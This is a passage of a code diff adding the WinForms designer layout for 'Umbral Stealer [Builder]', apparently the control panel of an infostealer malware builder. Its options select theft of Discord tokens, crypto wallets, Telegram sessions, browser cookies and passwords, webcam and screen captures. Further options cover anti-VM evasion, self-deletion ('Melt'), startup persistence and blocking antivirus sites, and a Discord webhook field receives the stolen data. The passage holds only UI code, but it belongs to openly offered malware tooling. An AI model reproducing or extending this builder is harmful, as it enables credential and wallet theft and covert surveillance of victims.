this.labelBlockAvSites.AllowParentOverrides = false; + this.labelBlockAvSites.AutoEllipsis = false; + this.labelBlockAvSites.Cursor = System.Windows.Forms.Cursors.Default; + this.labelBlockAvSites.CursorType = System.Windows.Forms.Cursors.Default; + this.labelBlockAvSites.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelBlockAvSites.ForeColor = System.Drawing.Color.White; + this.labelBlockAvSites.Location = new System.Drawing.Point(55, 306); + this.labelBlockAvSites.Name = "labelBlockAvSites"; + this.labelBlockAvSites.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelBlockAvSites.Size = new System.Drawing.Size(98, 21); + this.labelBlockAvSites.TabIndex = 12; + this.labelBlockAvSites.Text = "Block AV Sites"; + this.labelBlockAvSites.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelBlockAvSites.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkBlockAvSites + // + this.chkBlockAvSites.AllowBindingControlAnimation = true; + this.chkBlockAvSites.AllowBindingControlColorChanges = false; + this.chkBlockAvSites.AllowBindingControlLocation = true; + this.chkBlockAvSites.AllowCheckBoxAnimation = false; + this.chkBlockAvSites.AllowCheckmarkAnimation = true; + this.chkBlockAvSites.AllowOnHoverStates = true; + this.chkBlockAvSites.AutoCheck = true; + this.chkBlockAvSites.BackColor = System.Drawing.Color.Transparent; + this.chkBlockAvSites.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkBlockAvSites.BackgroundImage"))); + this.chkBlockAvSites.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkBlockAvSites.BindingControl = this.labelBlockAvSites; + this.chkBlockAvSites.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkBlockAvSites.BorderRadius = 5; + this.chkBlockAvSites.Checked = true; + this.chkBlockAvSites.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkBlockAvSites.Cursor = System.Windows.Forms.Cursors.Default; + this.chkBlockAvSites.CustomCheckmarkImage = null; + this.chkBlockAvSites.Location = new System.Drawing.Point(31, 302); + this.chkBlockAvSites.MinimumSize = new System.Drawing.Size(17, 17); + this.chkBlockAvSites.Name = "chkBlockAvSites"; + this.chkBlockAvSites.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkBlockAvSites.OnCheck.BorderRadius = 5; + this.chkBlockAvSites.OnCheck.BorderThickness = 2; + this.chkBlockAvSites.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkBlockAvSites.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkBlockAvSites.OnCheck.CheckmarkThickness = 2; + this.chkBlockAvSites.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkBlockAvSites.OnDisable.BorderRadius = 5; + this.chkBlockAvSites.OnDisable.BorderThickness = 2; + this.chkBlockAvSites.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkBlockAvSites.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkBlockAvSites.OnDisable.CheckmarkThickness = 2; + this.chkBlockAvSites.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkBlockAvSites.OnHoverChecked.BorderRadius = 5; + this.chkBlockAvSites.OnHoverChecked.BorderThickness = 2; + this.chkBlockAvSites.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkBlockAvSites.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkBlockAvSites.OnHoverChecked.CheckmarkThickness = 2; + this.chkBlockAvSites.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkBlockAvSites.OnHoverUnchecked.BorderRadius = 5; + this.chkBlockAvSites.OnHoverUnchecked.BorderThickness = 1; + this.chkBlockAvSites.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkBlockAvSites.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkBlockAvSites.OnUncheck.BorderRadius = 5; + this.chkBlockAvSites.OnUncheck.BorderThickness = 1; + this.chkBlockAvSites.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkBlockAvSites.Size = new System.Drawing.Size(21, 21); + this.chkBlockAvSites.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkBlockAvSites.TabIndex = 11; + this.chkBlockAvSites.ThreeState = false; + this.chkBlockAvSites.ToolTipText = null; + this.chkBlockAvSites.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelMelt + // + this.labelMelt.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelMelt.AllowParentOverrides = false; + this.labelMelt.AutoEllipsis = false; + this.labelMelt.Cursor = System.Windows.Forms.Cursors.Default; + this.labelMelt.CursorType = System.Windows.Forms.Cursors.Default; + this.labelMelt.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelMelt.ForeColor = System.Drawing.Color.White; + this.labelMelt.Location = new System.Drawing.Point(55, 244); + this.labelMelt.Name = "labelMelt"; + this.labelMelt.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelMelt.Size = new System.Drawing.Size(31, 21); + this.labelMelt.TabIndex = 10; + this.labelMelt.Text = "Melt"; + this.labelMelt.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelMelt.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkMelt + // + this.chkMelt.AllowBindingControlAnimation = true; + this.chkMelt.AllowBindingControlColorChanges = false; + this.chkMelt.AllowBindingControlLocation = true; + this.chkMelt.AllowCheckBoxAnimation = false; + this.chkMelt.AllowCheckmarkAnimation = true; + this.chkMelt.AllowOnHoverStates = true; + this.chkMelt.AutoCheck = true; + this.chkMelt.BackColor = System.Drawing.Color.Transparent; + this.chkMelt.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkMelt.BackgroundImage"))); + this.chkMelt.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkMelt.BindingControl = this.labelMelt; + this.chkMelt.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkMelt.BorderRadius = 5; + this.chkMelt.Checked = true; + this.chkMelt.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkMelt.Cursor = System.Windows.Forms.Cursors.Default; + this.chkMelt.CustomCheckmarkImage = null; + this.chkMelt.Location = new System.Drawing.Point(31, 240); + this.chkMelt.MinimumSize = new System.Drawing.Size(17, 17); + this.chkMelt.Name = "chkMelt"; + this.chkMelt.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkMelt.OnCheck.BorderRadius = 5; + this.chkMelt.OnCheck.BorderThickness = 2; + this.chkMelt.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkMelt.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkMelt.OnCheck.CheckmarkThickness = 2; + this.chkMelt.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkMelt.OnDisable.BorderRadius = 5; + this.chkMelt.OnDisable.BorderThickness = 2; + this.chkMelt.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkMelt.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkMelt.OnDisable.CheckmarkThickness = 2; + this.chkMelt.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkMelt.OnHoverChecked.BorderRadius = 5; + this.chkMelt.OnHoverChecked.BorderThickness = 2; + this.chkMelt.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkMelt.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkMelt.OnHoverChecked.CheckmarkThickness = 2; + this.chkMelt.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkMelt.OnHoverUnchecked.BorderRadius = 5; + this.chkMelt.OnHoverUnchecked.BorderThickness = 1; + this.chkMelt.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkMelt.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkMelt.OnUncheck.BorderRadius = 5; + this.chkMelt.OnUncheck.BorderThickness = 1; + this.chkMelt.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkMelt.Size = new System.Drawing.Size(21, 21); + this.chkMelt.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkMelt.TabIndex = 9; + this.chkMelt.ThreeState = false; + this.chkMelt.ToolTipText = null; + this.chkMelt.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelAntiVm + // + this.labelAntiVm.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelAntiVm.AllowParentOverrides = false; + this.labelAntiVm.AutoEllipsis = false; + this.labelAntiVm.Cursor = System.Windows.Forms.Cursors.Default; + this.labelAntiVm.CursorType = System.Windows.Forms.Cursors.Default; + this.labelAntiVm.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelAntiVm.ForeColor = System.Drawing.Color.White; + this.labelAntiVm.Location = new System.Drawing.Point(55, 182); + this.labelAntiVm.Name = "labelAntiVm"; + this.labelAntiVm.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelAntiVm.Size = new System.Drawing.Size(56, 21); + this.labelAntiVm.TabIndex = 8; + this.labelAntiVm.Text = "Anti VM"; + this.labelAntiVm.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelAntiVm.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkAntiVm + // + this.chkAntiVm.AllowBindingControlAnimation = true; + this.chkAntiVm.AllowBindingControlColorChanges = false; + this.chkAntiVm.AllowBindingControlLocation = true; + this.chkAntiVm.AllowCheckBoxAnimation = false; + this.chkAntiVm.AllowCheckmarkAnimation = true; + this.chkAntiVm.AllowOnHoverStates = true; + this.chkAntiVm.AutoCheck = true; + this.chkAntiVm.BackColor = System.Drawing.Color.Transparent; + this.chkAntiVm.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkAntiVm.BackgroundImage"))); + this.chkAntiVm.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkAntiVm.BindingControl = this.labelAntiVm; + this.chkAntiVm.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkAntiVm.BorderRadius = 5; + this.chkAntiVm.Checked = true; + this.chkAntiVm.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkAntiVm.Cursor = System.Windows.Forms.Cursors.Default; + this.chkAntiVm.CustomCheckmarkImage = null; + this.chkAntiVm.Location = new System.Drawing.Point(31, 178); + this.chkAntiVm.MinimumSize = new System.Drawing.Size(17, 17); + this.chkAntiVm.Name = "chkAntiVm"; + this.chkAntiVm.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkAntiVm.OnCheck.BorderRadius = 5; + this.chkAntiVm.OnCheck.BorderThickness = 2; + this.chkAntiVm.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkAntiVm.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkAntiVm.OnCheck.CheckmarkThickness = 2; + this.chkAntiVm.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkAntiVm.OnDisable.BorderRadius = 5; + this.chkAntiVm.OnDisable.BorderThickness = 2; + this.chkAntiVm.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkAntiVm.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkAntiVm.OnDisable.CheckmarkThickness = 2; + this.chkAntiVm.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkAntiVm.OnHoverChecked.BorderRadius = 5; + this.chkAntiVm.OnHoverChecked.BorderThickness = 2; + this.chkAntiVm.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkAntiVm.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkAntiVm.OnHoverChecked.CheckmarkThickness = 2; + this.chkAntiVm.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkAntiVm.OnHoverUnchecked.BorderRadius = 5; + this.chkAntiVm.OnHoverUnchecked.BorderThickness = 1; + this.chkAntiVm.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkAntiVm.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkAntiVm.OnUncheck.BorderRadius = 5; + this.chkAntiVm.OnUncheck.BorderThickness = 1; + this.chkAntiVm.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkAntiVm.Size = new System.Drawing.Size(21, 21); + this.chkAntiVm.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkAntiVm.TabIndex = 7; + this.chkAntiVm.ThreeState = false; + this.chkAntiVm.ToolTipText = null; + this.chkAntiVm.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelAddToStartup + // + this.labelAddToStartup.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelAddToStartup.AllowParentOverrides = false; + this.labelAddToStartup.AutoEllipsis = false; + this.labelAddToStartup.Cursor = System.Windows.Forms.Cursors.Default; + this.labelAddToStartup.CursorType = System.Windows.Forms.Cursors.Default; + this.labelAddToStartup.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelAddToStartup.ForeColor = System.Drawing.Color.White; + this.labelAddToStartup.Location = new System.Drawing.Point(55, 120); + this.labelAddToStartup.Name = "labelAddToStartup"; + this.labelAddToStartup.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelAddToStartup.Size = new System.Drawing.Size(104, 21); + this.labelAddToStartup.TabIndex = 6; + this.labelAddToStartup.Text = "Add To Startup"; + this.labelAddToStartup.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelAddToStartup.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkStartup + // + this.chkStartup.AllowBindingControlAnimation = true; + this.chkStartup.AllowBindingControlColorChanges = false; + this.chkStartup.AllowBindingControlLocation = true; + this.chkStartup.AllowCheckBoxAnimation = false; + this.chkStartup.AllowCheckmarkAnimation = true; + this.chkStartup.AllowOnHoverStates = true; + this.chkStartup.AutoCheck = true; + this.chkStartup.BackColor = System.Drawing.Color.Transparent; + this.chkStartup.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkStartup.BackgroundImage"))); + this.chkStartup.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkStartup.BindingControl = this.labelAddToStartup; + this.chkStartup.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkStartup.BorderRadius = 5; + this.chkStartup.Checked = true; + this.chkStartup.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkStartup.Cursor = System.Windows.Forms.Cursors.Default; + this.chkStartup.CustomCheckmarkImage = null; + this.chkStartup.Location = new System.Drawing.Point(31, 116); + this.chkStartup.MinimumSize = new System.Drawing.Size(17, 17); + this.chkStartup.Name = "chkStartup"; + this.chkStartup.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkStartup.OnCheck.BorderRadius = 5; + this.chkStartup.OnCheck.BorderThickness = 2; + this.chkStartup.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkStartup.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkStartup.OnCheck.CheckmarkThickness = 2; + this.chkStartup.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkStartup.OnDisable.BorderRadius = 5; + this.chkStartup.OnDisable.BorderThickness = 2; + this.chkStartup.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkStartup.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkStartup.OnDisable.CheckmarkThickness = 2; + this.chkStartup.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkStartup.OnHoverChecked.BorderRadius = 5; + this.chkStartup.OnHoverChecked.BorderThickness = 2; + this.chkStartup.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkStartup.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkStartup.OnHoverChecked.CheckmarkThickness = 2; + this.chkStartup.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkStartup.OnHoverUnchecked.BorderRadius = 5; + this.chkStartup.OnHoverUnchecked.BorderThickness = 1; + this.chkStartup.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkStartup.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkStartup.OnUncheck.BorderRadius = 5; + this.chkStartup.OnUncheck.BorderThickness = 1; + this.chkStartup.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkStartup.Size = new System.Drawing.Size(21, 21); + this.chkStartup.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkStartup.TabIndex = 5; + this.chkStartup.ThreeState = false; + this.chkStartup.ToolTipText = null; + this.chkStartup.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // labelPing + // + this.labelPing.AccessibleRole = System.Windows.Forms.AccessibleRole.CheckButton; + this.labelPing.AllowParentOverrides = false; + this.labelPing.AutoEllipsis = false; + this.labelPing.Cursor = System.Windows.Forms.Cursors.Default; + this.labelPing.CursorType = System.Windows.Forms.Cursors.Default; + this.labelPing.Font = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.labelPing.ForeColor = System.Drawing.Color.White; + this.labelPing.Location = new System.Drawing.Point(55, 58); + this.labelPing.Name = "labelPing"; + this.labelPing.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.labelPing.Size = new System.Drawing.Size(31, 21); + this.labelPing.TabIndex = 4; + this.labelPing.Text = "Ping"; + this.labelPing.TextAlignment = System.Drawing.ContentAlignment.TopLeft; + this.labelPing.TextFormat = Bunifu.UI.WinForms.BunifuLabel.TextFormattingOptions.Default; + // + // chkPing + // + this.chkPing.AllowBindingControlAnimation = true; + this.chkPing.AllowBindingControlColorChanges = false; + this.chkPing.AllowBindingControlLocation = true; + this.chkPing.AllowCheckBoxAnimation = false; + this.chkPing.AllowCheckmarkAnimation = true; + this.chkPing.AllowOnHoverStates = true; + this.chkPing.AutoCheck = true; + this.chkPing.BackColor = System.Drawing.Color.Transparent; + this.chkPing.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("chkPing.BackgroundImage"))); + this.chkPing.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; + this.chkPing.BindingControl = this.labelPing; + this.chkPing.BindingControlPosition = Bunifu.UI.WinForms.BunifuCheckBox.BindingControlPositions.Right; + this.chkPing.BorderRadius = 5; + this.chkPing.Checked = true; + this.chkPing.CheckState = Bunifu.UI.WinForms.BunifuCheckBox.CheckStates.Checked; + this.chkPing.Cursor = System.Windows.Forms.Cursors.Default; + this.chkPing.CustomCheckmarkImage = null; + this.chkPing.Location = new System.Drawing.Point(31, 54); + this.chkPing.MinimumSize = new System.Drawing.Size(17, 17); + this.chkPing.Name = "chkPing"; + this.chkPing.OnCheck.BorderColor = System.Drawing.Color.White; + this.chkPing.OnCheck.BorderRadius = 5; + this.chkPing.OnCheck.BorderThickness = 2; + this.chkPing.OnCheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkPing.OnCheck.CheckmarkColor = System.Drawing.Color.White; + this.chkPing.OnCheck.CheckmarkThickness = 2; + this.chkPing.OnDisable.BorderColor = System.Drawing.Color.LightGray; + this.chkPing.OnDisable.BorderRadius = 5; + this.chkPing.OnDisable.BorderThickness = 2; + this.chkPing.OnDisable.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkPing.OnDisable.CheckmarkColor = System.Drawing.Color.LightGray; + this.chkPing.OnDisable.CheckmarkThickness = 2; + this.chkPing.OnHoverChecked.BorderColor = System.Drawing.Color.White; + this.chkPing.OnHoverChecked.BorderRadius = 5; + this.chkPing.OnHoverChecked.BorderThickness = 2; + this.chkPing.OnHoverChecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkPing.OnHoverChecked.CheckmarkColor = System.Drawing.Color.White; + this.chkPing.OnHoverChecked.CheckmarkThickness = 2; + this.chkPing.OnHoverUnchecked.BorderColor = System.Drawing.Color.White; + this.chkPing.OnHoverUnchecked.BorderRadius = 5; + this.chkPing.OnHoverUnchecked.BorderThickness = 1; + this.chkPing.OnHoverUnchecked.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkPing.OnUncheck.BorderColor = System.Drawing.Color.DarkGray; + this.chkPing.OnUncheck.BorderRadius = 5; + this.chkPing.OnUncheck.BorderThickness = 1; + this.chkPing.OnUncheck.CheckBoxColor = System.Drawing.Color.Transparent; + this.chkPing.Size = new System.Drawing.Size(21, 21); + this.chkPing.Style = Bunifu.UI.WinForms.BunifuCheckBox.CheckBoxStyles.Bunifu; + this.chkPing.TabIndex = 3; + this.chkPing.ThreeState = false; + this.chkPing.ToolTipText = null; + this.chkPing.CheckedChanged += new System.EventHandler(this.CheckedChanged); + // + // txtWebhook + // + this.txtWebhook.AcceptsReturn = false; + this.txtWebhook.AcceptsTab = false; + this.txtWebhook.AnimationSpeed = 200; + this.txtWebhook.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.None; + this.txtWebhook.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.None; + this.txtWebhook.BackColor = System.Drawing.Color.White; + this.txtWebhook.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("txtWebhook.BackgroundImage"))); + this.txtWebhook.BorderColorActive = System.Drawing.Color.Transparent; + this.txtWebhook.BorderColorDisabled = System.Drawing.Color.FromArgb(((int)(((byte)(204)))), ((int)(((byte)(204)))), ((int)(((byte)(204))))); + this.txtWebhook.BorderColorHover = System.Drawing.Color.Transparent; + this.txtWebhook.BorderColorIdle = System.Drawing.Color.Silver; + this.txtWebhook.BorderRadius = 1; + this.txtWebhook.BorderThickness = 1; + this.txtWebhook.CharacterCasing = System.Windows.Forms.CharacterCasing.Normal; + this.txtWebhook.Cursor = System.Windows.Forms.Cursors.IBeam; + this.txtWebhook.DefaultFont = new System.Drawing.Font("Segoe UI", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtWebhook.DefaultText = ""; + this.txtWebhook.FillColor = System.Drawing.Color.Black; + this.txtWebhook.HideSelection = true; + this.txtWebhook.IconLeft = null; + this.txtWebhook.IconLeftCursor = System.Windows.Forms.Cursors.IBeam; + this.txtWebhook.IconPadding = 10; + this.txtWebhook.IconRight = null; + this.txtWebhook.IconRightCursor = System.Windows.Forms.Cursors.IBeam; + this.txtWebhook.Lines = new string[0]; + this.txtWebhook.Location = new System.Drawing.Point(16, 22); + this.txtWebhook.MaxLength = 32767; + this.txtWebhook.MinimumSize = new System.Drawing.Size(1, 1); + this.txtWebhook.Modified = false; + this.txtWebhook.Multiline = false; + this.txtWebhook.Name = "txtWebhook"; + stateProperties9.BorderColor = System.Drawing.Color.Transparent; + stateProperties9.FillColor = System.Drawing.Color.Empty; + stateProperties9.ForeColor = System.Drawing.Color.Empty; + stateProperties9.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtWebhook.OnActiveState = stateProperties9; + stateProperties10.BorderColor = System.Drawing.Color.Silver; + stateProperties10.FillColor = System.Drawing.Color.Black; + stateProperties10.ForeColor = System.Drawing.Color.Transparent; + stateProperties10.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtWebhook.OnDisabledState = stateProperties10; + stateProperties11.BorderColor = System.Drawing.Color.Transparent; + stateProperties11.FillColor = System.Drawing.Color.Empty; + stateProperties11.ForeColor = System.Drawing.Color.Empty; + stateProperties11.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtWebhook.OnHoverState = stateProperties11; + stateProperties12.BorderColor = System.Drawing.Color.Silver; + stateProperties12.FillColor = System.Drawing.Color.Black; + stateProperties12.ForeColor = System.Drawing.Color.Empty; + stateProperties12.PlaceholderForeColor = System.Drawing.Color.Empty; + this.txtWebhook.OnIdleState = stateProperties12; + this.txtWebhook.Padding = new System.Windows.Forms.Padding(3); + this.txtWebhook.PasswordChar = '\0'; + this.txtWebhook.PlaceholderForeColor = System.Drawing.Color.Gray; + this.txtWebhook.PlaceholderText = "https://discord.com/api/webhooks/1234567890/abcdefhgijklmnopqrstuvwxyz"; + this.txtWebhook.ReadOnly = false; + this.txtWebhook.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.txtWebhook.SelectedText = ""; + this.txtWebhook.SelectionLength = 0; + this.txtWebhook.SelectionStart = 0; + this.txtWebhook.ShortcutsEnabled = true; + this.txtWebhook.Size = new System.Drawing.Size(875, 32); + this.txtWebhook.Style = Bunifu.UI.WinForms.BunifuTextBox._Style.Bunifu; + this.txtWebhook.TabIndex = 0; + this.txtWebhook.TextAlign = System.Windows.Forms.HorizontalAlignment.Left; + this.txtWebhook.TextMarginBottom = 0; + this.txtWebhook.TextMarginLeft = 3; + this.txtWebhook.TextMarginTop = 0; + this.txtWebhook.TextPlaceholder = "https://discord.com/api/webhooks/1234567890/abcdefhgijklmnopqrstuvwxyz"; + this.txtWebhook.UseSystemPasswordChar = false; + this.txtWebhook.WordWrap = true; + this.txtWebhook.TextChanged += new System.EventHandler(this.txtWebhook_TextChanged); + // + // MainForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(176)))), ((int)(((byte)(255)))), ((int)(((byte)(0))))); + this.ClientSize = new System.Drawing.Size(1012, 660); + this.Controls.Add(this.panel2); + this.Controls.Add(this.panel1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Name = "MainForm"; + this.Padding = new System.Windows.Forms.Padding(2); + this.ShowIcon = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Umbral Stealer [Builder]"; + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.panel2.ResumeLayout(false); + this.bunifuShadowPanel2.ResumeLayout(false); + this.bunifuShadowPanel2.PerformLayout(); + this.grpOptions.ResumeLayout(false); + this.grpOptions.PerformLayout(); + this.grpBasic.ResumeLayout(false); + this.grpBasic.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + private Bunifu.UI.WinForms.BunifuColorTransition bunifuColorTransition1; + private Bunifu.Framework.UI.BunifuElipse bunifuElipse2; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Button buttonClose; + private System.Windows.Forms.Button buttonMinimize; + private System.Windows.Forms.Panel panel2; + private Bunifu.UI.WinForms.BunifuShadowPanel bunifuShadowPanel2; + private Bunifu.UI.WinForms.BunifuLabel bunifuLabel1; + private Bunifu.UI.WinForms.BunifuTextBox txtWebhook; + private Bunifu.UI.WinForms.BunifuButton.BunifuButton btnCheckWebhook; + private Bunifu.UI.WinForms.BunifuButton.BunifuButton btnBuild; + private System.Windows.Forms.GroupBox grpBasic; + private System.Windows.Forms.GroupBox grpOptions; + private Bunifu.UI.WinForms.BunifuLabel txtVersion; + private Bunifu.UI.WinForms.BunifuButton.BunifuButton btnModifyAssembly; + private Bunifu.UI.WinForms.BunifuButton.BunifuButton btnIconSelect; + private Bunifu.UI.WinForms.BunifuCheckBox chkDiscord; + private Bunifu.UI.WinForms.BunifuLabel labelDiscordTokens; + private Bunifu.UI.WinForms.BunifuLabel labelWallets; + private Bunifu.UI.WinForms.BunifuCheckBox chkWallets; + private Bunifu.UI.WinForms.BunifuLabel labelSystemInfo; + private Bunifu.UI.WinForms.BunifuCheckBox chkSystemInfo; + private Bunifu.UI.WinForms.BunifuLabel labelTelegramSessions; + private Bunifu.UI.WinForms.BunifuCheckBox chkTelegram; + private Bunifu.UI.WinForms.BunifuLabel labelGames; + private Bunifu.UI.WinForms.BunifuCheckBox chkGames; + private Bunifu.UI.WinForms.BunifuLabel labelBrowserCookies; + private Bunifu.UI.WinForms.BunifuCheckBox chkCookies; + private Bunifu.UI.WinForms.BunifuLabel labelBrowserPasswords; + private Bunifu.UI.WinForms.BunifuCheckBox chkPasswords; + private Bunifu.UI.WinForms.BunifuLabel labelScreenshot; + private Bunifu.UI.WinForms.BunifuCheckBox chkScreenshot; + private Bunifu.UI.WinForms.BunifuLabel labelWebcamSnapshot; + private Bunifu.UI.WinForms.BunifuCheckBox chkWebcam; + private Bunifu.UI.WinForms.BunifuLabel labelMelt; + private Bunifu.UI.WinForms.BunifuCheckBox chkMelt; + private Bunifu.UI.WinForms.BunifuLabel labelAntiVm; + private Bunifu.UI.WinForms.BunifuCheckBox chkAntiVm; + private Bunifu.UI.WinForms.BunifuLabel labelAddToStartup; + private Bunifu.UI.WinForms.BunifuCheckBox chkStartup; + private Bunifu.UI.WinForms.BunifuLabel labelPing; + private Bunifu.UI.WinForms.BunifuCheckBox chkPing; + private Bunifu.UI.WinForms.BunifuLabel labelBlockAvSites; + private Bunifu.UI.WinForms.BunifuCheckBox chkBlockAvSites; + } +} \ No newline at end of file diff --git 